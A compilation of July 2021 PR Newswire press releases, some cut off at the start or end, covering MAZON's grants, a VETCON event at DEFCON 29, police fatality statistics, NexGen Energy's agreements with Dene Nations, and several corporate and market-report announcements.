Indigenous Food and Agriculture Initiative, ( Fayetteville, Ark. )

) Intertribal Agriculture Council, ( Billings, Mont. )

) Native Food and Nutrition Resource Alliance, ( Los Alamos, N.M. )

Recipients of MAZON's grants in Israel include:

Adalah, Haifa

Adva Center, Tel Aviv

Israel Social TV, Tel Aviv

Jerusalem Food Rescuers, Jerusalem

Latet, Tel Aviv

Leket Israel, Ra'anana

Negev Coexistence Forum for Civil Equality, Omer

Pitchon Lev, Rishon Lezion

Rabbis for Human Rights, Jerusalem

Sidreh, Omer

Sikkuy, Jerusalem

Solidarity Film Festival, Tel Aviv

121 Engine for Social Change, Tel Aviv

972 Advancement of Citizen Journalism, Tel Aviv-Jaffa

About MAZON: A Jewish Response to Hunger:

Inspired by Jewish values and ideals, MAZON is a national advocacy organization working to end hunger among people of all faiths and backgrounds in the United States and Israel. For more information on MAZON, please visit mazon.org .

MEDIA CONTACT:

Julia Friedmann, West End Strategy Team

[email protected] ; 202.702.3302

SOURCE MAZON: A Jewish Response to Hunger

Related Links

http://www.mazon.org


NEW YORK, July 14, 2021 /PRNewswire/ -- LightPoint Financial Technology has partnered with InfoReach, a world class execution platform, to provide an integrated front-to-back workflow within LightPoint's platform. Combining LightPoint's robust order routing with InfoReach's multi asset class complex order handling produces a best-in-class POEMS unlike anything else in the marketplace.

Through this partnership, clients will achieve benefits that were previously unattainable. Our joint solution provides superior user experience for all roles in an organization  CFO, traders, portfolio managers and middle to back-office professionals. Clients have the option to leverage an autonomous trading platform workflow; orders generated by portfolio managers can follow a predefined route to execution, managed seamlessly through LightPoint's workflow. The result is a powerful, user-friendly, one-touch trading system managed from a single source of truth and integrated through a single-host installation.

"We are excited about the opportunity to partner with LightPoint. Recently, we have seen increased demand for portfolio management tools. This integration allows us to deliver what is typically required quickly and efficiently. Together, the LightPoint-InfoReach offering will provide the financial community with a powerful cross asset portfolio management-trading solution."  Allen Zaydlin, CEO, InfoReach

"Together with InfoReach, LightPoint has created a true end-to-end platform for our clients. Rich cross-asset trade execution management is integrated seamlessly with our mobile trade ticket, portfolio management, and accounting capabilities. We are excited about the benefits this partnership will bring to our clients." - Mike DeSanti, President, LightPoint

About LightPoint (www.lightpointft.com ):

LightPoint offers essential technology for fund managers, asset managers, and fund administrators  all managed from a single position source. LightPoint's SaaS-based cross-asset, front-to-back trading, risk, portfolio & investor accounting system is built on a robust architectural core; it enables fund managers to grow their businesses with scalable and configurable solutions. LightPoint's clients can manage multiple portfolios with unique guidelines, restricted lists, trading allocation schemes, commissions & fees and specific investor demands. LightPoint's technology is a contemporary FinTech platform, designed by industry experts.

About InfoReach (www.inforeachinc.com ):

InfoReach, an industry leader in the development of independent, enterprise-strength technology since 1995, provides integrated, high-performance trading software for order and trade management, global connectivity, market execution, risk management and transaction cost analysis (TCA). InfoReach provides multi-asset broker-neutral software solutions for electronic trading, including OMS and EMS platforms for global equities, futures, options, forex, and fixed income. InfoReach delivers high-performance technology with high-touch support.

Contact: Brandi Gatlin, [email protected]

SOURCE LightPoint Financial Technology

Related Links

www.lightpointft.com


The SME Education Foundation will receive $6 million from the state of Michigan for its SME PRIME initiative. Tweet this

Coordinated by highly qualified Foundation education program managers, SME PRIME also encompasses professional development for instructors, summer and extracurricular STEM opportunities for students, and increased scholarship eligibility and access.

Since 2011, SME PRIME schools have been initiated in 63 communities across 22 states, creating opportunities for more than 100,000 students. There are currently 17 SME PRIME schools in Michigan.

Representative Joe Tate (D-Detroit), aware of the work and accomplishments of SME PRIME through his participation on the SME Education Foundation board, along with bill sponsor Representative Brad Paquette (R-Niles), encouraged legislative colleagues to support the program  and to scale it to a statewide commitment. Senator Wayne Schmidt (R-Traverse City) and Senator Jim Stamas (R-Midland) played critical roles in the bipartisan, bicameral effort.

"Our SME PRIME schools have been a model; a unique approach to STEM education and career preparation implemented by scores of schools across the nation," said SME Education Foundation Vice President Rob Luce. "We're grateful for Joe Tate's leadership and Senator Schmidt's and Stamas' support in sharing our expertise with legislative colleagues to ensure opportunity for Michigan's high school students."

Joe Kann, president of the SME Education Foundation Board of Directors, said, "This bipartisan budget bill is transformational for schools and students throughout Michigan. The SME PRIME initiative is a critical component of that transformation, creating educational opportunities and employment readiness for young people."

The Michigan Manufacturers Association (MMA), which represents traditional and advanced manufacturing enterprises across the state, has been a partner in developing SME PRIME schools and critical to supporting efforts by an industry facing a limited talent pipeline and misperceptions about work environments and opportunities for young people. Having seen the success of SME PRIME firsthand, the MMA was instrumental in obtaining state support for the model initiative.

"This expansion of the SME PRIME school initiative benefits students and Michigan manufacturers," said John Walsh, President and CEO of the MMA. "Our manufacturing partners need ambitious, creative, and prepared young people ready to take their place in advanced manufacturing. We are proud to advocate for our manufacturing partners  and to be a key contributor to expanding this opportunity for students."

The award from the State of Michigan is the single-largest financial commitment received by the SME Education Foundation in its history, dating back to 1979.

"The SME Education Foundation, as the philanthropic arm of SME, has been responsible for inspiring and preparing students through scholarships and educational opportunities for decades," said SME Executive Director and CEO Bob Willig. "They've earned this historic award through high standards and achievement. I'm proud of this exceptional recognition of their important work, their contributions to education and their commitment to young people  and ultimately our industry."

"MMA has been proud to be an active partner with SME and are glad to be a champion for PRIME before the Michigan Legislature," said Mike Johnston, MMA's Vice President of Government Affairs. "Finding talent is the number one issue our members talk about and bringing strong CTE programs like PRIME is key to solving Michigan's talent shortage. This is the first step in showing young people throughout the state the great future that lies with manufacturing careers today and tomorrow."

About SME

SME connects manufacturing professionals, academia and communities, sharing knowledge and resources to build inspired, educated and prosperous manufacturers and enterprises. With nearly 90 years of experience and expertise in events, media, membership, training and development, and also through the SME Education Foundation, SME is committed to promoting manufacturing technology, developing a skilled workforce and attracting future generations to advance manufacturing. Learn more at SME.org, follow @SME_MFG on Twitter or facebook.com/SMEmfg.

About the SME Education Foundation

The SME Education Foundation inspires, prepares and supports the next generation of manufacturing and engineering talent. Since its organization by SME in 1979, the SME Education Foundation works to bring students, educators, industry and communities together through its SME PRIME program; awards annual student scholarships and conducts the Student Summit Event Series held at SME events in North America. Visit the SME Education Foundation at smeeducationfoundation.org . Follow @mfgeducation on Twitter or at facebook.com/SME.Education.Foundation .

About MMA

For nearly 120 years, the MMA has been serving Michigan manufacturers and related industries by providing effective representation at Michigan's Capitol, timely educational seminars, quality and competitive-rate insurance programs, informational e-newsletters and a monthly magazine. Visit mimfg.org for more information.

SOURCE SME

Related Links

http://www.sme.org


BREA, Calif. and DULLES, Va., July 14, 2021 /PRNewswire/ -- It's a go! Co-Founders Milton Security, a leading provider of Threat Hunting as a Service, XDR & MDR (MxDR) SOC Services, and Cyber Defense Technologies (CDT), a niche services firm providing security solutions for mission critical systems, jointly announce an in-person VETCON IV at DEFCON 29 in Las Vegas, Nevada on Saturday, August 7, 2021.

VETCON IV at DEFCON 29

Co-founded in 2018 by Jim McMurry and William Kimble, the founders of Milton Security and Cyber Defense Technologies, respectively, the VETCON conference became an official event of the DEFCON Hacker Conference in order to connect and support veterans in the Information Security field. While remotely held in 2020 due to the COVID-19 pandemic, the event has been green-lit as an in-person and virtual event at the 2021 DEFCON 29 conference.

"Last year's virtual event just wasn't the same," said Jim McMurry, CEO and Founder of Milton Security and Co-founder of VETCON. "We're so excited to be back in-person with our fellow veterans this year and we're putting together an event that people will remember for years. For those of us vets that have, well, 'fond' wouldn't be the right word  certain memories of going to MEPS when we enlisted, VETCON is definitely going to bring some good laughs."

This year's VETCON theme is "RECALLED." Veterans who attend in-person have a chance to earn a limited edition challenge coin and shirt along with other VETCON swag. Each service will be pitted against the others to compete at different challenges. One service will reign supreme at the end of the night and carry forward bragging rights until next year's event.

William Kimble, CEO and Founder of Cyber Defense Technologies added, "Jim and I have been hosting VETCON for the last four years and every year we try to make it more unique, FUN, and memorable. While we provide an avenue for Veterans in the InfoSec community to network with each other, we design the event to be much more than a typical networking event, for example, the Nerf Qualification Range. VETCON "RECALLED" will be no different. At our last in-person VETCON, we had about 2,000 people and this year, as we all continue to recover from the pandemic, we are excited to bring the veteran community back together through networking, games, and some friendly interservice competition."

The event is open to all DEFCON attendees with a focus on military veterans. VETCON "RECALLED", will take place starting at 2100 on August 7th. The VETCON planners are expecting around 500 people in attendance. For those that cannot attend in person, the VETCON discord channel is an option for virtual attendance. Further details will be provided as the date approaches. To follow along for future updates, follow @VetConActual on Twitter or visit the website at www.vetconactual.com

About Cyber Defense Technologies

Cyber Defense Technologies (CDT), based in Dulles, Virginia, provides niche cyber capabilities to critical security missions since 2010. As a Service Disabled Veteran Owned Small Business (SDVOSB), the firm is comprised of a cadre of 85% US Military Veterans. CDT's motivation remains focused on securing critical technologies that preserve national security domains. CDT employees are individually selected, highly credentialed, and average 15 years of InfoSec experience. CDT provides mission support solutions through Penetration Testing, Secure System Design, and Regulatory Compliance Readiness.

Security Driven. Mission Focused.

www.cyberdefensetechnologies.com | +1.800.658.1846 | [email protected]

Cyber Defense Technologies is a Service-Disabled Veteran-Owned Small Business started in 2010.

CDT Media Contact:

Stacy Jutras

Marketing Manager

[email protected]

571.393.1379

About Milton Security

Milton Security operates a 24*7*365 unique Extended Detection & Response/Managed Detection & Response (MxDR) service that provides Threat Hunting As A Service using customers' existing security infrastructure. For 14 years, Milton's team of Threat Hunters have stopped thousands of threats and assisted organizations in protecting themselves around the clock. Milton focuses on the best combination of AI, ML, and Human Correlation, to scout for threats, assist with incident response activities and protect hundreds of customers around the clock.

It's Milton Security. Obviously, We Protect Your Brand.

www.miltonsecurity.com | +1.888.674.9001 | [email protected]

Milton Security, Inc., is a Service-Disabled Veteran-Owned Small Business started in 2007.

Milton Media Contact:

Sal Vilardo

Marketing

[email protected]

714.515.4011

SOURCE Milton Security
"He immediately gets involved when problems arise and leverages resources to generate solutions," said Bert Brodsky, Mobile Health Chairman and founder. "His quick action and deployment of resources during the pandemic, while still supporting communities that rely on Mobile Health's ongoing occupational health care services, were outstanding."

Fighting the Pandemic to Help New Yorkers

Mobile Health is a nationwide company that calls New York City home. For Shulman, it was no question that Mobile Health's resources, staff, and technology would be utilized to help the home front and hardest hit U.S. location by the COVID-19 pandemic.

Shulman immediately mobilized employees to support essential workers and ran 24-hour respirator fit testing at multiple city hospitals. Mobile Health worked with NYC's Department of Health to provide COVID-19 testing and vaccinations to residents of congregant settings, partnered with the MTA to assist in vaccinating MTA's 70,000 employees, and even mobilized to vaccinate hundreds of holocaust survivors in Brooklyn.

About Mobile Health

Mobile Health has been a trusted employee screening and occupational health provider since 1984. Mobile Health's scalable, customizable, and mobile employee health screening solutions provide employers with a healthier, safer, and more productive workforce. Mobile Health offers OSHA-compliant health screenings for every business type and size. Its on-site and in-clinic solutions assure that workers are protected and businesses are compliant with state and federal health regulations. For more information, visit MobileHealth.com.

About Crain's New York Business

CRAIN'S NEW YORK BUSINESS is a trusted voice of the New York business community that reports on emerging trends, interviews with thought leaders, and commercial opportunities, economic changes, politics and more.

Media Contact:

Dave Schramm

Chief Marketing Officer

(269) 270-6677

[email protected]

SOURCE Mobile Health

Related Links

www.mobilehealth.net


WASHINGTON, July 14, 2021 /PRNewswire/ -- The National Law Enforcement Officers Memorial Fund (NLEOMF) has released its Mid-Year Report of law enforcement officer fatalities. As the nationwide authority of line-of-duty deaths, NLEOMF releases reports each year that include officer fatality numbers and other statistics relevant to law enforcement.

This year's Mid-Year Report indicates a significant increase in officer deaths and could potentially be the deadliest year for law enforcement on record, if trends continue.

So far in 2021, there have been 155 line-of-duty officer deaths. COVID-19 continues to be the number-one cause of death, reaching 71 officers so far this year. The report also notes that traffic fatalities are up 58%, with the leading cause being officers struck by vehicles, currently numbering 19 fatalities. This equals the entire number of struck-by fatalities in 2020.

Texas has the highest number of officer deaths at 25, followed by 15 federal agency deaths. Other states near the top of the list include Georgia (13 deaths), California (13 deaths), and Florida (10 deaths). Out of 155 line-of-duty death cases in 2021, 33 officers were feloniously killed. This includes 28 gunfire cases, three beatings, and two stabbings.

"These numbers are a tragic reminder of the dangers our law enforcement officers are exposed to each and every day," said Marcia Ferranto, CEO of NLEOMF. "The last two years have been incredibly difficult and dangerous for law enforcement. We will continue our work to honor the fallen and ensure that their sacrifice is never forgotten. We support those law enforcement officers who continue to work to keep our communities safe. They are our true heroes."

To view the full report, or more information of law enforcement officers line-of-duty deaths, visit: https://nleomf.org/facts-figures/fatalities-reports

About the National Law Enforcement Officers Memorial Fund

Established in 1984, the National Law Enforcement Officers Memorial Fund is a nonprofit organization dedicated to honoring the fallen, telling the story of American law enforcement, and making it safer for those who serve. The Memorial Fund maintains the National Law Enforcement Officers Memorial in Washington, D.C., which honors the names of all of the 22,611 officers who have died in the line of duty throughout U.S. history. The National Law Enforcement Museum at the Motorola Solutions Foundation Building is committed to preserving the history of American law enforcement and sharing the experiences of service and sacrifice for generations to come.

SOURCE National Law Enforcement Officers Memorial Fund

Related Links

https://nleomf.org


HO CHI MINH CITY, Vietnam, July 14, 2021 /PRNewswire/ -- Netcore Cloud, the leading global full-stack martech company, today announced that Sendo, one of the leading e-commerce brands in Vietnam, has increased sales on their website and mobile app by over 51%, with its AI-led multi-channel customer engagement platform.

Sendo is the largest home-grown Vietnamese e-commerce retailer and one of the top 10 online commerce platforms in Southeast Asia, connecting over 30 million buyers and 500,000 sellers nationwide. As an app-first e-commerce brand, Sendo needed a robust multi-channel marketing platform to personalize customer engagement across their website and mobile app. Additionally, since Sendo offered multiple limited time-bound sales promotions, they also needed to craft and deliver personalized communication to relevant customer segments without delay.

This tied right back to Netcore's core competency, having been a formidable player in the 1:1 customer engagement space for over 20 years. In fact, 75% of Asia's unicorns leverage Netcore to effectively engage and retain their customers at scale. In response to Sendo's challenges, Netcore's advanced customer engagement platform helped them analyze and engage with their customers across email, website, and mobile app. These personalized and contextual onsite notifications were triggered based on specific user events on their website and mobile app - helping them deliver seamless e-shopping experiences while also driving 26% of web traffic to their mobile app.

In addition, Sendo leveraged Netcore Smart Push, an industry-first technology to increase app push notification delivery which resulted in a 21% increase in app launches. Their time-sensitive app push notification campaigns were also delivered at 2X speed; positively impacting engagement and conversions.

Duc Pham, Buyer Engagement Director at Sendo, commented, "Netcore Cloud has helped us increase app engagement by 21% and overall online transactions by 51%. Their team has always ensured excellent service levels and has consulted us to leverage the best solution for all our business leads."

Abithab Bhaskar, CEO - International Business at Netcore Cloud, further elaborated, "The e-commerce industry is witnessing tremendous growth in terms of customer acquisition; especially in Southeast Asia. The pressing need to engage intelligently with customers to magnify CLTV and retention through hyper-personalized experiences is something that Netcore Cloud has excelled in over the years. We are delighted to be playing a vital role in Sendo's incredible growth story and look forward to helping them scale new heights in customer and revenue growth in the future as well."

About Netcore Cloud

Netcore Cloud is a globally recognized marketing technology SaaS company offering a full-stack of martech solutions that help product and growth marketers deliver AI-powered intelligent customer experiences across all touchpoints of the user's journey. Building a unified view of customers, orchestrating omnichannel communication journeys, personalizing the apps and websites, optimizing user experience, real-time reporting and providing actionable analytics, Netcore Cloud represents an all-in-one solution for a marketer.

Making successful strides for 20+ years, Netcore Cloud today serves over 5000 clients spread across 18 countries including India, USA, Germany, Nigeria, Singapore, Malaysia, Thailand, Philippines, Vietnam, and UAE, delivering 12+ billion emails, and tracking 100+ billion marketing events every month for the world's top marketers. Some of the leading brands that trust Netcore Cloud to power their customer acquisition, engagement, and retention goals include MaxLife Insurance, ICICI Bank, Standard Chartered, Flipkart, Myntra, Miss Amara, Airtel, Disney Hotstar, Canon, Puma, Tobi,, Easemytrip, Pizza Hut, and McDonalds.

Backed by products designed to scale and with a focus on ROI, today Netcore Cloud stands tall as a leader in martech solutions in Asia and is exponentially growing in US, EU, and South America.

Media Contact:

Clyds Pascua

[email protected]

+84939792880

Hoang Lee

[email protected]

+84703285279

Logo: https://mma.prnewswire.com/media/1495164/Netcore_Cloud_Logo.jpg

SOURCE Netcore Cloud Private Limited
VENTURA, Calif., July 13, 2021 /PRNewswire/ -- On Monday, July 12th Meet Kevin Paffrath was Fox LA's first in-person interview since the Covid-19 pandemic. During his prime-time interview, Meet Kevin Paffrath outlined his plan to solve homelessness, the water shortage, education, and the housing crisis. Meet Kevin Paffrath also attacked the idea of identity politics as he believes that the issues facing California are problems shared between all Californians, not just Democrats or Republicans.

Meet Kevin Paffrath For California Governor

California is in one of the worst droughts in its history. Meet Kevin Paffrath wants to create permanent solutions to the water shortage. He plans to do this by building water pipelines across the United States to buy clean, cheaper water from States that have excess water or from the Mississippi River to California.

Additionally, Kevin Paffrath has a detailed plan to end homelessness on our streets within 60 days of taking office, using emergency powers, then curing the causes of homelessness. Meet Kevin Paffrath will end homeless on our streets by deploying the National Guard to serve homeless communities for 60 days. At the same time, the National Guard will be tasked with providing compassion, food, and safety where the homeless currently stay. This way our streets will instantly become safer and the homeless will have food security. At the same time, the National Guard will begin the construction of 80 Emergency Facilities throughout the state to house 2,000 homeless each and provide them with centralized support including: mental-health facilities, detox facilities, educational facilities, canteens, and medical support for all in need.

Meet Kevin Paffrath, is also proposing that students over the age of 18 at Future Schools be given $2,000 per month. His Future School plan involves combining high school, college, financial education, and vocational schools. This would provide an optional career path for students to get trained for high-paying, in-demand careers and those over 18 will be paid $2,000 per month. The focus is simple: Providing an educated workforce, focused on building individual wealth, and providing workers with careers where starting salaries are 5 to 7 times higher than the poverty line is a smart investment into California that saves us money.

Meet Kevin Paffrath's Full 20-Part Plan is available on his campaign website: MeetKevin.com. The plan now features a one-year, 5-part Emergency Plan as part of his overall five-year, 20-part plan.

View Full Interview: youtu.be/n2cCbqkuUts

Media Inquiries: [email protected]

Related Files

Press Release Fox News.pdf

Related Images

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SOURCE Meet Kevin Paffrath For California Governor
Signs Impact Benefit Agreement with Buffalo River Dene Nation,

Signs Mutual Benefit Agreement with Birch Narrows Dene Nation,

Appoints Community Based Project Liaison Manager, and

The Court of Queen's Bench for Saskatchewan Dismisses MN-S Application,

VANCOUVER, BC, July 14, 2021 /PRNewswire/ - NexGen Energy Ltd. ("NexGen" or the "Company") (TSX: NXE) (NYSE MKT: NXE) is pleased to announce the signing of an Impact Benefit Agreement ("IBA") with the Buffalo River Dene Nation ("BRDN"), and the signing of a Mutual Benefit Agreement ("MBA") with the Birch Narrows Dene Nation ("BNDN"), covering all phases of the Rook I Project ("Rook I" or the "Project"), which hosts the 100% owned Arrow uranium deposit.

The Rook I Project is located within the traditional territory of BRDN and BNDN. Both the IBA and MBA define the environmental, cultural, economic, employment and other benefits to be provided to the BRDN and BNDN by NexGen in respect of the Project and confirm the consent and support of both BRDN and BNDN for the Project throughout its complete lifecycle, including reclamation. The Agreements were negotiated and developed out of the Study Agreements signed in 2019. The Study Agreements formalized engagement with the communities to identify potential impacts to Aboriginal and treaty rights and socio-economic interests, and identify potential avoidance and accommodation measures in relation to the Project whilst acknowledging the duty to consult remains with the Crown. Note, the Agreements do not abrogate, extinguish, or constitute the abandonment of any existing Aboriginal, inherent, or treaty rights of the BRDN and BNDN recognized and affirmed pursuant to Section 35 of the Constitution Act, 1982. Importantly, the Agreements are entered into in recognition of the Aboriginal and Treaty Rights of the BRDN and the BNDN.

Chief Elmer Campbell of Buffalo River Dene Nation, commented: "The jobs and business opportunities that our members will be able to obtain with the Project incorporating elite environmental and cultural practices is very exciting. Our community and NexGen have built a meaningful relationship over the past six years based on trust, respect and confidence. The Agreement reflects those key principles. We look forward to the advancement of the Project throughout all phases of its lifecycle."

Chief Jonathan Sylvester of Birch Narrows Dene Nation commented: "I am pleased to announce that we have signed an MBA with NexGen. The Project is still going through the regulatory process to determine its safety and we are participating in that process. On meeting the regulatory requirements, our community stands to benefit with environmental monitoring, jobs, business opportunities, and payments to support community priorities. NexGen has been working with us in a respectful way."

Furthermore, Chief Jonathan Sylvester released a video with his message to BNDN regarding the MBA. The video is available here: BNDN MBA Video

Eric Sylvestre, Birch Narrows Dene Nation Economic Development Officer, commented: "We are pleased to be involved in a project that creates opportunities for our community while still protecting the environment. Past projects from industry passed us by. This represents a major opportunity for us."

Leigh Curyer, Chief Executive Officer of NexGen, commented: "The signing of the Agreements reflects the meaningful respect, trust and commitment developed over the past six years between NexGen and the communities of BRDN and BNDN. The Agreements formalize NexGen's commitment to work in partnership with all local communities, with the mutual objective to responsibly develop the Rook I Project. The genuine commitment to their communities displayed by Chief Campbell and Chief Sylvester, along with their respective Councils and teams, and NexGen's approach to sustainable development of the Rook I project, is reflected in the signing of these industry leading Agreements. We look forward to immediately advancing the exciting elements of these Agreements and our genuine approach to all communities in the Local Project Area."

Appointment of Robert St. Pierre to Project Liaison Manager

Further, NexGen is pleased to announce that in support of NexGen's commitment to local communities, Robert St. Pierre will be joining the team as Project Liaison Manager based out of the Company's office in La Loche. Robert brings a wealth of experience as past President, Local Metis 39, and having served as the mayor of La Loche from 2016 to 2020. NexGen has had the privilege of working closely with Robert since 2016, and his deep commitment to the advancement of local communities will support bringing prosperity and meaningful benefits to the communities where we operate.

The Court of Queen's Bench for Saskatchewan Dismisses MN-S Application

On July 12, 2021, the Court of Queen's Bench for Saskatchewan dismissed an Application filed by the Metis Nation-Saskatchewan ("MN-S") in which the MN-S sought an interlocutory injunction against NexGen to prevent the Project from proceeding with the environmental assessment process through the planned submission of the Environmental Impact Statement.

NexGen continues to progress the development of a sustainable and responsible Project, that in turn has the power to create sustainable long-term benefit and opportunity for all local communities in the Project Area over multiple generations.

Troy Boisjoli, Vice-President, Exploration and Community, commented: "Since 2013, we have been working with all of the communities local to the Project, as evidenced by the successful development and implementation of meaningful community programs focused on education, health and wellness, and economic capacity building. NexGen has and always will be committed to providing significant sustainable benefits and opportunities in a respectful and responsible manner. Effective partnerships developed with local communities is a key aspect of that commitment, and we continue to welcome constructive negotiations with the MN-S to deliver substantial benefits to the members of the Metis Nation-Saskatchewan-Northern Region II across all phases of the Project."

About NexGen

NexGen is a British Columbia corporation with a focus on developing the Rook I Project located in the southwestern Athabasca Basin, Saskatchewan, Canada into production. Rook I hosts the Arrow Deposit with a Measured Mineral Resources of 209.6 M lbs of U3O8 contained in 2.18 M tonnes grading 4.35% U3O8, Indicated Mineral Resources of 47.1 M lbs of U3O8 contained in 1.57 M tonnes grading 1.36% U3O8, and Inferred Mineral Resources of 80.7 M lbs of U3O8 contained in 4.40 M tonnes grading 0.83% U3O8. Arrow's development is supported by a NI 43-101 compliant Feasibility Study which outlines industry leading environmental performance and economics.

NexGen has a highly experienced team of uranium industry professionals with a successful track record in the discovery of uranium deposits and in developing projects through discovery to production. The Company is the recipient of the 2018 PDAC Bill Dennis Award for Canadian mineral discovery and the 2019 PDAC Environmental and Social Responsibility Award.

Forward-Looking Information

The information contained herein contains "forward-looking statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 and "forward-looking information" within the meaning of applicable Canadian securities legislation. "Forward-looking information" includes, but is not limited to, statements with respect to the activities, events or developments that the Company expects or anticipates will or may occur in the future. Generally, but not always, forward-looking information and statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", or "believes" or the negative connotation thereof or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved" or the negative connotation thereof. Forward looking information in this press release includes, but is not limited to, statements regarding use of proceeds.

Forward-looking information and statements are based on the then current expectations, beliefs, assumptions, estimates and forecasts about NexGen's business and the industry and markets in which it operates. Forward-looking information and statements are made based upon numerous assumptions, including among others, that the proposed financing transaction will be completed, the results of planned exploration activities are as anticipated, the price of uranium, the cost of planned exploration activities, that financing will be available if and when needed and on reasonable terms, that third party contractors, equipment, supplies and governmental and other approvals required to conduct NexGen's planned exploration activities will be available on reasonable terms and in a timely manner and that general business and economic conditions will not change in a material adverse manner. Although the assumptions made by the Company in providing forward looking information or making forward looking statements are considered reasonable by management at the time, there can be no assurance that such assumptions will prove to be accurate.

Forward-looking information and statements also involve known and unknown risks and uncertainties and other factors, which may cause actual results, performances and achievements of NexGen to differ materially from any projections of results, performances and achievements of NexGen expressed or implied by such forward-looking information or statements, including, among others, negative operating cash flow and dependence on third party financing, uncertainty of the availability of additional financing, impact of the COVID-19 pandemic, including related to the length, severity and spread of the pandemic and measures taken by governmental authorities and public health officials in respect of the pandemic, the risk that pending assay results will not confirm previously announced preliminary results, imprecision of mineral resource estimates, the appeal of alternate sources of energy and sustained low uranium prices, aboriginal title and consultation issues, exploration risks, reliance upon key management and other personnel, deficiencies in the Company's title to its properties, uninsurable risks, failure to manage conflicts of interest, failure to obtain or maintain required permits and licenses, changes in laws, regulations and policy, competition for resources and financing, and other factors discussed or referred to in the Company's Annual Information Form dated March 19, 2021 under "Risk Factors".

Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in the forward-looking information or implied by forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended.

There can be no assurance that forward-looking information and statements will prove to be accurate, as actual results and future events could differ materially from those anticipated, estimated or intended. Accordingly, readers should not place undue reliance on forward-looking statements or information. The Company undertakes no obligation to update or reissue forward-looking information as a result of new information or events except as required by applicable securities laws.

SOURCE NexGen Energy Ltd.

Related Links

http://www.nexgenenergy.ca/


The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Affordable Interior Systems Inc., Ashley Furniture Industries Inc., Global Furniture Group, Haworth Inc., Herman Miller Inc., HNI Corp., Kimball International Inc., Knoll Inc., Okamura Corp., and Steelcase Inc. are some of the major market participants. Factors such as the surge in the number of start-ups, the premiumization in the office furniture industry, and the rising number of office spaces will offer immense growth opportunities. To leverage the current opportunities, market vendors must strengthen their foothold in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Office Furniture Market in the US 2021-2025: Segmentation

Office Furniture Market in the US is segmented as below:

Product

Seating



Table



System



Storage Unit And File



Overhead Bins

End-user

Commercial



Home Office

Distribution Channel

Offline



Online

Material

Wood



Metal



Others

To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR40461

Office Furniture Market in the US 2021-2025: Vendor Analysis and Scope

To help businesses improve their market position, the office furniture market in the US provides a detailed analysis of around 25 vendors operating in the market. Some of these vendors include Affordable Interior Systems Inc., Ashley Furniture Industries Inc., Global Furniture Group, Haworth Inc., Herman Miller Inc., HNI Corp., Kimball International Inc., Knoll Inc., Okamura Corp., and Steelcase Inc.

The report also covers the following areas:

Office Furniture Market in US size

Office Furniture Market in US trends

Office Furniture Market in US industry analysis

Increasing adoption of convertible workstations is likely to emerge as one of the primary drivers of the market. However, the low replacement cycle of furniture may threaten the growth of the market.

Backed with competitive intelligence and benchmarking, our research reports on the office furniture market in us are designed to provide entry support, customer profile & M&As as well as go-to-market strategy support.

Office Furniture Market in the US 2021-2025: Key Highlights

CAGR of the market during the forecast period 2021-2025

Detailed information on factors that will assist the office furniture market growth in the US during the next five years

Estimation of the office furniture market size in the US and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the office furniture market in the US

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of the office furniture market vendors in the US

Related Reports on Consumer Discretionary Include:

Outdoor Furniture Market in the US- The outdoor furniture market size in the US is segmented by product (outdoor furniture and accessories, outdoor grills and accessories, and patio heating products), end-user (residential and commercial), and distribution channel (offline and online).

Download FREE Sample Report

Ready to Assemble Furniture Market in Europe- The ready to assemble (RTA) furniture market size in Europe is segmented by product (home RTA furniture and office RTA furniture), distribution channel (offline and online), and geography (Germany, France, Sweden, the UK, and rest of Europe).

Download FREE Sample Report

Table of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2020

Market outlook: Forecast for 2020 - 2025

Five Forces Analysis

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Market segments

Comparison by Product

Seating - Market size and forecast 2020-2025

Table - Market size and forecast 2020-2025

System - Market size and forecast 2020-2025

Storage unit and file - Market size and forecast 2020-2025

Overhead bins - Market size and forecast 2020-2025

Market opportunity by Product

Market Segmentation by End-user

Market segments

Market segments

Commercial - Market size and forecast 2020-2025

Home office - Market size and forecast 2020-2025

Market Segmentation by Distribution channel

Market segments

Market segments

Comparison by Distribution channel

Offline - Market size and forecast 2020-2025

Online - Market size and forecast 2020-2025

Market opportunity by Distribution channel

Market Segmentation by Material

Market segments

Comparison by Material

Wood - Market size and forecast 2020-2025

Metal - Market size and forecast 2020-2025

Others - Market size and forecast 2020-2025

Market opportunity by Material

Customer landscape

Market drivers

Market challenges

Market trends

Vendor Landscape

Overview

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

Affordable Interior Systems Inc.

Ashley Furniture Industries Inc.

Global Furniture Group

Haworth Inc.

Herman Miller Inc.

HNI Corp.

Kimball International Inc.

Knoll Inc.

Okamura Corp.

Steelcase Inc.

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

Contact

Technavio Research

Jesse Maida

Media & Marketing Executive

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UK: +44 203 893 3200

Email: [email protected]

Report link: https://www.technavio.com/report/office-furniture-market-in-us-industry-analysis

SOURCE Technavio

Related Links

